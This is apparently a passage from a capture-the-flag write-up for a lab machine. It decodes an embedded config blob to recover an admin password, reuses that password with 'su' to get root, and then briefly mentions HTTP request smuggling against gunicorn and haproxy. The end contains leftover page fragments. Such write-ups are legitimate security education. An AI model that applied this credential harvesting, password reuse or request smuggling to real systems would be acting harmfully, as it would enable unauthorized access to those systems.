david@sink:~/Projects/Prod_Deployment$ echo H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA= | base64 -d > servers

david@sink:~/Projects/Prod_Deployment$ file servers

  servers: gzip compressed data, from Unix, original size modulo 2^32 10240

david@sink:~/Projects/Prod_Deployment$ zcat servers

  servers.yml0000644000000000000000000000021313774573563012010 0ustar  rootrootserver:
    listenaddr: ""
    port: 80
    hosts:
    - certs.sink.htb
    - vault.sink.htb
    defaultuser:
      name: admin
      pass: _uezduQ!EY5AHfe2
  [..omitted..]

Trying to use the credentials when switching user to root:

david@sink:~/Projects/Prod_Deployment$ su -

  Password: _uezduQ!EY5AHfe2

root@sink:~# id
 
  uid=0(root) gid=0(root) groups=0(root)

root@sink:~# ls -l root.txt

  -r-------- 1 root root 33 Apr 25 05:21 root.txt

While searching for relevant exploits for gunicorn with haproxy, I came across this by Nathan Davidson and a practical application in a . It highlights a HTTP Request Smuggling using CL.TE (Content-Length -> Transfer-Encoding) vulnerability that leads to HTTP Desynchronization.

article
CTF challenge write up
Page cover image